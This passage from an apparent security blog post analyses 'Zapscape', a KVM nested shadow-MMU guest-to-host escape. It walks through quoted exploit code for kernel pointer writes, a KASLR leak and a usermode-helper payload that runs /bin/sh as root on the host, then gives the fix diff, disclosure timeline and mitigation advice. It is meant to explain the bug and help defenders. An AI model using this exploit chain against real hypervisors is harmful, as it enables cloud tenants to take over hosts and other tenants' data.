Once the AP has built the fake C fields, the BSP executes VMRUN. The quota walker inside the allocating fault prepares C, and the two list deletion writes occur. The BSP then signals completion, and the AP checks the result and restores C’s active link and parent state for the next pass. This repeatable mechanism is what lets the exploit perform multiple precise kernel writes without crashing the host.

Computing the KVM Base and Building a Fake MMU Hash Chain

The active list head leaked during the first cross-cache allows the exploit to compute the base address of struct kvm. The writeup defines several offsets:

#define KVM_ACTIVE_HEAD_OFF 0x12b0u
#define KVM_PM_NOTIFIER_OFF 0x17e8u
#define KVM_NMAX_OFF 0x1290u
#define KVM_NMAX_PREV_OFF (KVM_NMAX_OFF - 8u)
#define KVM_F_FROM_H (KVM_PM_NOTIFIER_OFF - KVM_ACTIVE_HEAD_OFF)

The exploit subtracts 0x12b0 from the active list head to obtain the struct kvm base. It then adds 0x17e8 to locate the pm_notifier region that will later be interpreted as a fake MMU header:

emit32_store_ptr_delta(&p, KS_K_LO, G1_MARKER + 40u,
G1_MARKER + 44u,
-(int32_t)KVM_ACTIVE_HEAD_OFF);
emit32_store_ptr_delta(&p, KS_F_LO, G1_MARKER + 40u,
G1_MARKER + 44u,
(int32_t)KVM_F_FROM_H);

The first three reuse steps record pointer values that make N and the pm_notifier region point at each other. These steps write the base of the pm_notifier region plus 0x30 to N+8, the base plus 0x40 to N+0x108, and the base itself to N+0x208:

emit32_arm_fake_c(&p, SAFE_SPT_HVA_LO, SAFE_SPT_HVA_HI, 0,
KS_F_LO, KS_F_HI, 0x30, 2);
[...]
emit32_oracle_marker(&p, 0x8u, true, '2');
[...]
emit32_arm_fake_c(&p, SAFE_SPT_HVA_LO, SAFE_SPT_HVA_HI, 0x100,
KS_F_LO, KS_F_HI, 0x40, 3);
[...]
emit32_oracle_marker(&p, 0x108u, false, '3');
[...]
emit32_arm_fake_c(&p, SAFE_SPT_HVA_LO, SAFE_SPT_HVA_HI, 0x200,
KS_F_LO, KS_F_HI, 0, 4);
[...]
emit32_oracle_marker(&p, 0x208u, false, '4');

After each step, the guest sweeps Stage 2 and verifies that the expected 64-bit value appears exactly once at the intended offset. The first step saves the page base as the N GPA, while the following steps confirm that the same N is still being used. The confirmed values are then cleared.

The next steps build a fake hash chain. The chain is arranged as existing header -> C -> pm_notifier region interpreted as an MMU header -> auxiliary MMU header overlaid at C+112 -> NULL. Each hash link’s pprev is made to hold the address of the preceding link field that points at it. The exploit writes hash pointers into C and then arms fake C fields for passes 5, 6, and 7:

emit32_store_ptr_delta(&p, TARGET_C_BASE + 16u,
G1_MARKER + 40u, G1_MARKER + 44u,
KVM_PSEUDO_FROM_H);
emit32_arm_fake_c(&p, G1_MARKER + 64u, G1_MARKER + 68u, -136,
G1_MARKER + 56u, G1_MARKER + 60u, 0x10, 5);
[...]
emit32_arm_fake_c(&p, KS_F_LO, KS_F_HI, 0x10,
G1_MARKER + 64u, G1_MARKER + 68u, -136, 6);
[...]
emit32_store_imm(&p, TARGET_C_BASE + 128u, 0);
emit32_store_imm(&p, TARGET_C_BASE + 132u, 0);
[...]
emit32_store_imm(&p, TARGET_C_BASE + 144u, 0);
emit32_store_imm(&p, TARGET_C_BASE + 148u, TARGET_ROLE_INVALID);
emit32_arm_fake_c(&p, G1_MARKER + 64u, G1_MARKER + 68u, -24,
KS_F_LO, KS_F_HI, 0x10, 7);

The first of these steps changes the existing header’s hash.next to point to C and makes C’s hash.pprev point back at that field. The second step makes C’s hash.next point to the pm_notifier region and makes that region’s hash.pprev point back to C’s next field. The third step builds the hash_link and role of an auxiliary MMU header at C+112 and links the pm_notifier region’s hash chain through it. The exploit verifies these bidirectional relationships from guest memory before continuing.

The final pointer-write step stops future quota reclaim by corrupting n_max_mmu_pages:

emit32_arm_fake_c(&p, KS_K_LO, KS_K_HI, KVM_NMAX_PREV_OFF,
SAFE_SPT_HVA_LO, SAFE_SPT_HVA_HI, 0x300, 8);
[...]
emit32_oracle_marker(&p, 0x300u, false, '8');

This places struct kvm+0x1288 in the next field and N+0x300 in the prev field. The first list write stores N+0x300, which contains a kernel-pointer-shaped value, into struct kvm+0x1290, the n_max_mmu_pages field. The second list write records struct kvm+0x1288 at N+0x300. The guest verifies the values and then clears only N+0x300. The corrupted n_max_mmu_pages remains extremely large, preventing further quota reclaim while the exploit finishes. This is an important stabilization step, because later shadow page creation could otherwise trigger another reclaim and destroy the carefully constructed state.

Leaking KASLR Through the pm_notifier Chain

After quota reclaim is disabled, the exploit prepares to create a real non-leaf shadow page and its direct child. Before doing so, it uses C one more time to make C look like a valid direct level-1 root while its hash chain still terminates through the auxiliary MMU header at C+112. The emitted code writes several fields into C:

static void emit32_arm_pre_e_c(uint8_t **pp)
{
uint8_t *p = *pp;
emit32_store_imm(&p, TARGET_C_BASE + 32u, 0x01000101u);
[...]
emit32_store_imm(&p, TARGET_C_BASE + 64u, 1u);
[...]
emit32_store_imm(&p, TARGET_C_BASE + 148u, TARGET_ROLE_INVALID);
emit32_store_ptr_delta(&p, TARGET_C_BASE + 152u,
G1_MARKER + 64u, G1_MARKER + 68u, -24);
emit32_store_ptr_delta(&p, TARGET_C_BASE + 160u,
G1_MARKER + 64u, G1_MARKER + 68u, -136);
[...]
emit32_store_imm(&p, TARGET_C_BASE + 36u, 0x81u);
[...]
}

The final role write changes C’s role from the invalid value 0x881 to the valid direct L1 role 0x81. The earlier writes make spt, root_count, parent state, and child state appear consistent enough that KVM treats C as an in-use direct shadow root. When the hash lookup for a new non-leaf shadow page encounters C, the chain terminates safely through the auxiliary header, so the fake pm_notifier header is not processed at that moment.

After the real non-leaf shadow page and direct child are created, the AP writes the same value 0xa7 three times to offset 0x28, which corresponds to PDE5 of GPA 0:

emit32_store_imm(&p, 0x28u, 0xa7u);
[...]
emit32_store8_imm(&p, KS_TRACK_REQ, 1);
emit32_wait_byte(&p, KS_TRACK_ACK, 1);
[...]
emit32_store_imm(&p, 0x28u, 0xa7u);
[...]
emit32_store8_imm(&p, KS_TRACK_REQ, 2);
emit32_wait_byte(&p, KS_TRACK_ACK, 2);
[...]
emit32_store_imm(&p, 0x28u, 0xa7u);
emit32_finish_p_leak(&p);

After the first two writes, the BSP refaults spt[5] of the real non-leaf shadow page to reset that page’s write_flooding_count. The count interpreted inside the fake pm_notifier region, however, continues to increase as 1, 2, and 3. On the third write, the fake region is prepared for zapping. At this point, the actual pm_notifier bytes at struct kvm+0x17e8 are interpreted as a struct kvm_mmu_page. Following the hash and list fields built earlier, a list write during the prepare operation records the address of rcu_pm_notify_nb.10, the next node in the PM notifier chain, at N+0x208. This is the address of the notifier block object, not the notifier callback function, but it is enough to defeat KASLR.

The exploit verifies the leaked address and computes the slide:

static void emit32_finish_p_leak(uint8_t **pp)
{
uint8_t *p = *pp, *bad[5], *skip, *fail, *done;
[...]
e32(&p, 0x208u);
[...]
e32(&p, 0x20cu);
[...]
e32(&p, 0xffffffffu);
bad[0] = emit_rel32_jcc(&p, 0x85);
[...]
e32(&p, (uint32_t)(RCU_PM_NB_LINK & 0xfffull));
bad[1] = emit_rel32_jcc(&p, 0x85);
[...]
e32(&p, (uint32_t)RCU_PM_NB_LINK);
[...]
e32(&p, (uint32_t)(RCU_PM_NB_LINK >> 32));
[...]
e32(&p, KASLR_IMAGE_MAX);
bad[3] = emit_rel32_jcc(&p, 0x83);
[...]
e32(&p, 0x1fffffu);
bad[4] = emit_rel32_jcc(&p, 0x85);
emit32_store_eax(&p, KS_SLIDE);
emit32_store_slid_symbol(&p, KS_LOG_LO, LOG_WAIT_HEAD);
emit32_store_slid_symbol(&p, KS_SRCU_LO, SRCU_DELAY_TIMER);
emit32_store_slid_symbol(&p, KS_UMH_LO,
CALL_USERMODEHELPER_EXEC_WORK);
emit32_store_slid_symbol(&p, KS_ZERO_LO, EMPTY_ZERO_PAGE);
emit32_store_slid_symbol(&p, KS_WORK_NOOP_LO, WORKQUEUE_NOOP);
emit32_store_slid_symbol(&p, KS_EP_AUTOREMOVE_LO,
EP_AUTOREMOVE_WAKE);
emit32_store_slid_symbol(&p, KS_INIT_TASK_LO,
INIT_TASK_SYMBOL);
[...]
}

The checks ensure that the high dword is 0xffffffff, that the low 12 bits match the expected rcu_pm_notify_nb.10 offset 0xc40, and that the resulting slide is sane. The slide must have a zero high dword after subtraction, must be smaller than 0x40000000, and must be aligned to a 2 MiB boundary. If any check fails, the exploit stops immediately instead of attempting to build the callback chain. On success, the slide is added to link-time symbol addresses, giving the exploit the runtime locations of log_wait, srcu_delay_timer, call_usermodehelper_exec_work, empty_zero_page, workqueue-related symbols, ep_autoremove_wake_function, and init_task.

Building the Usermode Helper Payload in Guest Memory

With KASLR defeated, the exploit constructs the final execution structures inside the N page. The layout is fixed:

N + 0x000 wait_queue_entry
N + 0x028 subprocess_info
N + 0x100 "/bin/sh"
N + 0x110 "sh"
N + 0x120 "-c"
N + 0x140 "umask 022; : > /Zapscape"
N + 0x200 argv
N + 0x240 envp
N + 0x280 completion

The wait_queue_entry callback is set to srcu_delay_timer. The layout places the work_struct of the subprocess_info at the location that srcu_delay_timer() computes with container_of(). The work function is set to call_usermodehelper_exec_work, the executable path is /bin/sh, and the wait mode is UMH_WAIT_PROC. The final C reuse step links the wait entry’s list node into the global log_wait queue.

The guest then executes MONITOR and sends an x2APIC LOWEST ICR. During this process, a target-kernel printk wake walks log_wait, causing the callback built in N to run. The synchronous wake flow proceeds through the kernel’s wait queue and workqueue infrastructure:

wake_up_klogd_work_func()
wake_up_interruptible()
__wake_up()
__wake_up_common_lock()
__wake_up_common()
srcu_delay_timer()
queue_work_on()
__queue_work()

At this point, the work item from the fake subprocess_info has been queued. The synchronous path returns, and a kernel worker thread handles the work in a separate context:

process_one_work()
call_usermodehelper_exec_work()
call_usermodehelper_exec_sync()
user_mode_thread()

The new usermode thread then executes through the usermode helper path:

call_usermodehelper_exec_async()
prepare_kernel_cred()
commit_creds()
wait_for_initramfs()
kernel_execve()

The call to prepare_kernel_cred() and commit_creds() gives the new thread full kernel credentials. The thread then executes /bin/sh -c "umask 022; : > /Zapscape". Because this happens in the host’s root filesystem context, the resulting file is created by the host kernel with uid 0 and mode 0644. That file is the visible proof that the guest forced the host kernel to run a controlled usermode program.

Scope of the Demonstration and Porting to Real Environments

The public demo is carefully scoped. The VM is fully constructed before the first KVM_RUN. After that, the exploit transitions from the initial fault to the creation of /Zapscape through guest instructions and the host kernel behavior those instructions provoke. The VMM’s vCPU threads mostly re-enter KVM_RUN and handle final termination I/O. They do not patch guest state during execution. This design makes the demonstration easier to reason about and shows that the attack is driven from the guest side.

The researcher is explicit that the PoC is not a weaponized cloud exploit as published. To use it in a real cloud environment, the L1 actions performed by the PoC would need to be moved into a guest kernel module, and the exploit would need to be ported to match the host kernel’s kconfig and the provider’s VMM memory backend. The writeup states that this is not considered a difficult task. This is an important operational point: the public PoC demonstrates the full chain, but a real attacker would still need to adapt offsets, allocation behavior, and environment-specific details.

The demo configuration also matters. In the published Linux 7.1.3 configuration, similar to Ubuntu’s kconfig in the relevant respects, CONFIG_DEBUG_LIST, CONFIG_LIST_HARDENED, and CONFIG_BUG_ON_DATA_CORRUPTION are disabled. If list hardening is enabled, the post-free list write used by the current PoC can be blocked. In that case, the exploit may fail or trigger a denial-of-service condition rather than stable code execution. This does not make the vulnerability harmless on hardened kernels, but it changes the reliability and shape of exploitation.

The Patch: Reordering the Stale Root Check

Zapscape was fixed by commit 2abd5287f083. The patch moves the stale root check after make_mmu_pages_available(). If quota reclaim invalidates the current root, the page fault is retried instead of continuing to map under the invalid root. The change touches both the direct page-fault path and the paging-template page-fault path.

In arch/x86/kvm/mmu/mmu.c, the direct page fault path is changed as follows:

diff --git a/arch/x86/kvm/mmu/mmu.c b/arch/x86/kvm/mmu/mmu.c
index 234d0a95abf534..41f92ed1ca377f 100644
--- a/arch/x86/kvm/mmu/mmu.c
+++ b/arch/x86/kvm/mmu/mmu.c
@@ -4852,16 +4852,17 @@ static int direct_page_fault(struct kvm_vcpu *vcpu, struct kvm_page_fault *fault
if (r != RET_PF_CONTINUE)
return r;
- r = RET_PF_RETRY;
write_lock(&vcpu->kvm->mmu_lock);
- if (is_page_fault_stale(vcpu, fault))
- goto out_unlock;
-
r = make_mmu_pages_available(vcpu);
if (r)
goto out_unlock;
+ if (is_page_fault_stale(vcpu, fault)) {
+ r = RET_PF_RETRY;
+ goto out_unlock;
+ }
+
r = direct_map(vcpu, fault);
out_unlock:

In arch/x86/kvm/mmu/paging_tmpl.h, the template-based shadow page fault path receives the same logical fix:

diff --git a/arch/x86/kvm/mmu/paging_tmpl.h b/arch/x86/kvm/mmu/paging_tmpl.h
index df3ae0c7ec2c30..1ba840a73b7ac9 100644
--- a/arch/x86/kvm/mmu/paging_tmpl.h
+++ b/arch/x86/kvm/mmu/paging_tmpl.h
@@ -864,15 +864,17 @@ static int FNAME(page_fault)(struct kvm_vcpu *vcpu, struct kvm_page_fault *fault
}
#endif
- r = RET_PF_RETRY;
write_lock(&vcpu->kvm->mmu_lock);
- if (is_page_fault_stale(vcpu, fault))
- goto out_unlock;
-
r = make_mmu_pages_available(vcpu);
if (r)
goto out_unlock;
+
+ if (is_page_fault_stale(vcpu, fault)) {
+ r = RET_PF_RETRY;
+ goto out_unlock;
+ }
+
r = FNAME(fetch)(vcpu, fault, &walker);
out_unlock:

The fix is small, but it eliminates the entire exploit condition. By checking for an invalid or obsolete root after quota reclaim, KVM ensures that a root invalidated during reclaim is not used for further fetching. If the root became invalid, the fault handler returns RET_PF_RETRY, causing the fault to be handled again from a consistent state. This prevents the invalid child from being inserted into the active list, prevents the double list membership, and prevents the dangling active link and post-free write that the exploit depends on.

Disclosure Timeline and Patch History

The disclosure timeline provided with the Zapscape writeup is unusually precise and shows a rapid response from the kernel community. On July 11, 2026, detailed information about the vulnerability and a proof of concept were submitted to security@kernel.org. On July 13, 2026, the reporter discussed patch handling with KVM maintainers, and Sean Christopherson wrote a patch for the issue. On July 21, 2026, Paolo Bonzini posted the patch to lore, and the fix was merged into mainline the same day as commit 2abd5287f083.

On August 1, 2026, information about the vulnerability and exploit was submitted to the linux-distros mailing list with a five-day embargo. On August 4, 2026, the issue was assigned CVE-2026-64561. After the embargo ended, the Zapscape information was posted to oss-security on August 6, 2026, and the public documentation was released. This timeline matters for defenders because it shows when the fix entered mainline and when distribution vendors began receiving coordinated disclosure information. Systems running kernels between the vulnerable introduction in 2020 and the July 2026 fix should be treated as potentially affected unless the patch has been backported or the relevant nested virtualization exposure is disabled.

Relationship to Januscape and Other KVM Bugs

Zapscape is not Januscape, but the two vulnerabilities are conceptually related because they both occur in KVM’s shadow MMU and both can be used to break guest-host isolation. Januscape, tracked as CVE-2026-53359, was disclosed earlier and also involved a use-after-free style issue in shadow paging. The Zapscape writeup explicitly states that the impact is similar: guest-side actions alone can compromise the host running the VM. Both can be used for denial of service or root code execution on the host, depending on the attacker’s goals and the reliability of the exploit.

The important difference for scope assessment is the trigger condition. Januscape could be triggered on Intel without the special EPT page-walk length constraint as long as nested virtualization was enabled. Zapscape, on Intel, requires both EPT page-walk length 4 and 5 to be exposed to L1. On AMD, Zapscape does not require an equivalent constraint. Defenders should not assume that patching Januscape automatically eliminates Zapscape. The root causes are different, and the patch for Zapscape specifically reorders the stale-root check around MMU page availability. Both bugs reinforce the same broader lesson: the nested shadow MMU is a high-risk attack surface, and hypervisor patches should be treated as urgent in multi-tenant environments.

Operational Guidance for Cloud Providers and Kernel Administrators

The most direct mitigation is to apply the kernel patch or update to a distribution kernel that contains commit 2abd5287f083 or an equivalent backport. Because the vulnerability is in in-kernel KVM, updating QEMU alone is not sufficient. The bug is triggered independently of QEMU’s device emulation. Custom virtualization stacks that use KVM are also affected if they expose nested virtualization and run vulnerable kernels.

For environments that cannot be patched immediately, the risk can be reduced by disabling nested virtualization where possible. If untrusted guests do not need to run their own hypervisors, removing nested VMX or SVM exposure eliminates the path into the nested shadow MMU used by the public PoC. On Intel, restricting the exposed EPT page-walk lengths may reduce exploitability, but this should not be treated as a complete substitute for patching. On AMD, the public PoC does not require the Intel-style page-walk constraint, so disabling nested virtualization is the more robust mitigation.

Operators should also audit permissions on /dev/kvm. If untrusted local users can open /dev/kvm, Zapscape can become a local privilege escalation issue even on systems that are not running cloud-style guest VMs. World-writable /dev/kvm configurations should be reviewed carefully, especially on multi-user hosts. Finally, the researcher’s broader warning is worth taking seriously: KVM is a large, mature, and heavily attacked kernel subsystem, and nested virtualization adds significant complexity. Organizations that run untrusted guests should establish a sustainable patching process for host hypervisors, track KVM security disclosures closely, and treat guest-to-host escape vulnerabilities as immediate-priority incidents.

Zapscape is a reminder that virtualization isolation is not a static property. It is the result of many subtle invariants in the kernel, and a single missing check in a recursive reclaim path can be enough to break the boundary between guest and host. The patch is simple, but the exploit chain is sophisticated, and the public demonstration shows that a guest can force the host kernel to leak addresses, corrupt kernel structures, defeat KASLR, and execute a controlled usermode helper as root. For any x86 environment running untrusted guests with nested virtualization enabled, applying the fix should be treated as urgent.

Buy me A Coffee!

Support The CyberSec Guru’s Mission

🔐 Fuel the cybersecurity crusade by buying me a coffee! Your contribution powers free tutorials, hands-on labs, and security resources.

Why your support matters:
  • Writeup Access: Get complete writeup access within 12 hours
  • Zero paywalls: Keep the main content 100% free for learners worldwide

Perks for one-time supporters:
☕️ $5: Shoutout in Buy Me a Coffee
🛡️ $8: Fast-track Access to Live Webinars
💻 $10: Vote on future tutorial topics + exclusive AMA access

“Your coffee keeps the servers running and the knowledge flowing in our fight against cybercrime.”☕ Support My Work

Buy Me a Coffee Button

If you like this post, then please share it:

News

Discover more from The CyberSec Guru

Subscribe to get the latest posts sent to your email!

Leave a Reply

This site uses Akismet to reduce spam. Learn how your comment data is processed.

Discover more from The CyberSec Guru

Subscribe now to keep reading and get access to the full archive.

Continue reading